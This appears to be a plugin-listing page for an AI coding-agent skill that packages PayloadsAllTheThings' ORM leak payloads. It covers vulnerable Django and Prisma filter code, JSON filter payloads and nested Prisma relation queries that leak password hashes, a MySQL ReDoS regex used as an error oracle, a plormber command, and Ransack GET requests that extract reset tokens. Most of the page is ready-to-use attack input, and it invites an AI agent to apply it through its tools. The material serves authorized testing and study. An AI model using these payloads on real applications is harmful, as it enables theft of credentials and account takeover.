/rea-skills:payloads-orm-leak runs instead · from rea-skills
Provides payloads for exploiting ORM leak vulnerabilities in Django, Prisma, Ransack, and other ORMs. Use during authorized penetration tests, bug bounties, or CTFs to detect data exfiltration via query manipulation.
This skill never runs in Claude Code
It ships in rea-skills at .agents/, but /rea-skills:payloads-orm-leak (a command, or a skill Claude Code finds first) has the same name: typing it, or Claude choosing it, runs that one instead.
Source: PayloadsAllTheThings/ORM Leak Category:
payloads-web| Skill ID:payloads-orm-leak
ORM query leak payloads for Django, Hibernate, ActiveRecord, and Eloquent data exfiltration.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the ORM Leak Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.
The following code is a basic example of an ORM querying the database.
users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)
The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.
The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.
{
"username": "admin",
"password__startswith": "p"
}
Interesting filter to use:
__startswith__contains__regexLet's use this great example from PLORMBING YOUR DJANGO ORM, by Alex Brown

We can see 2 type of relationships:
Filtering through user that created an article, and having a password containing the character p.
{
"created_by__user__password__contains": "p"
}
Almost the same thing but you need to filter more.
created_by__departments__employees__user__idcreated_by__departments__employees__user__usernamecreated_by__departments__employees__user__passwordUse multiple filters in the same request:
{
"created_by__departments__employees__user__username__startswith": "p",
"created_by__departments__employees__user__id": 1
}
If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => Return something
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
// => Error 500 (Timeout exceeded in regular expression match)
Tools:
elttam/plormber - tool for exploiting ORM Leak time-based vulnerabilities
plormber prisma-contains \
--chars '0123456789abcdef' \
--base-query-json '{"query": {PAYLOAD}}' \
--leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
--contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
--verbose-stats \
https://some.vuln.app/articles/time-based;
Example:
Example of an ORM leak in Node.JS with Prisma.
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
Use the include to return all the fields of user records that have created an article
{
"filter": {
"include": {
"createdBy": true
}
}
}
Select only one field
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Only in Ransack < 4.0.0.

Extracting the reset_password_token field of a user
GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
GET /posts?q[user_reset_password_token_start]=2 -> Results in page
GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
GET /posts?q[user_reset_password_token_start]=2f -> Results in page
Target a specific user and extract his recoveries_key
GET /labs?q[creator_roles_name_cont]=superadmin&q[creator_recoveries_key_start]=0
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
orm-leak, sql-injection, penetration-testing, bug-bounty, ctf
npx claudepluginhub smartworldarafath/rea_skill --plugin rea-skills919 skills in this plugin
/accessibilityDesign, implement, and audit accessible UI to WCAG 2.2 Level AA across Web, iOS, and Android — semantic ARIA roles and labels, accessibility traits and hints, focus management, contrast, target size, and screen-reader support. Use when building or auditing UI for accessibility compliance, keyboard navigation, or screen-reader support./agent-architecture-auditFull-stack diagnostic for agent and LLM applications. Audits the 12-layer agent stack for wrapper regression, memory pollution, tool discipline failures, hidden repair loops, and rendering corruption. Produces severity-ranked findings with code-first fixes. Essential for developers building agent applications, autonomous loops, or any LLM-powered feature. Use when an agent or LLM feature misbehaves and the failing layer is unknown, or before shipping an agent stack./Other plugins' skills for the same job